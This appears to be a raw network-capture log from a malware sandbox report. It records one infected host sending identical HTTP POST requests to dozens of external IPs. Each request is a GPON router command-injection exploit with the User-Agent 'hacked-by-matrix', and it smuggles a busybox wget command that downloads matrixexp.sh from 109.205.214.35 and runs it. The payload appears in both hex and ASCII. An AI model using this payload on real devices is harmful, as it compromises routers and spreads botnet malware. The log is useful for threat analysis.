Mar 21, 2024 05:26:56.395277977 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1405	192.168.2.23	58644	79.148.127.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395320892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1406	192.168.2.23	35042	5.0.124.141	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395339012 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1407	192.168.2.23	33842	42.126.42.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395368099 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1408	192.168.2.23	34004	212.126.40.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395435095 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1409	192.168.2.23	40028	79.91.203.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395437956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1410	192.168.2.23	47330	42.113.84.25	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395472050 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1411	192.168.2.23	33038	109.126.47.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395554066 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1412	192.168.2.23	44660	178.51.249.105	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395554066 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1413	192.168.2.23	56560	210.83.133.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395579100 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1414	192.168.2.23	49672	2.35.22.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395612001 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1415	192.168.2.23	36020	118.135.161.208	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395621061 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1416	192.168.2.23	35464	210.160.63.40	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395704985 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1417	192.168.2.23	34966	210.136.59.0	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395714998 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1418	192.168.2.23	58478	109.164.90.149	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395735979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1419	192.168.2.23	42440	178.84.0.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395740032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1420	192.168.2.23	55954	5.232.214.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395802975 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1421	192.168.2.23	36026	109.234.69.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395823002 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1422	192.168.2.23	43634	2.157.250.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395828962 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1423	192.168.2.23	49352	2.3.219.149	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395859003 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1424	192.168.2.23	39284	178.35.103.143	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395863056 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1425	192.168.2.23	51898	94.147.47.134	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395926952 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1426	192.168.2.23	42340	5.172.7.118	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395951986 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1427	192.168.2.23	38240	5.99.193.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395971060 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1428	192.168.2.23	58556	212.113.235.241	443

Timestamp	Bytes transferred	Direction	Data
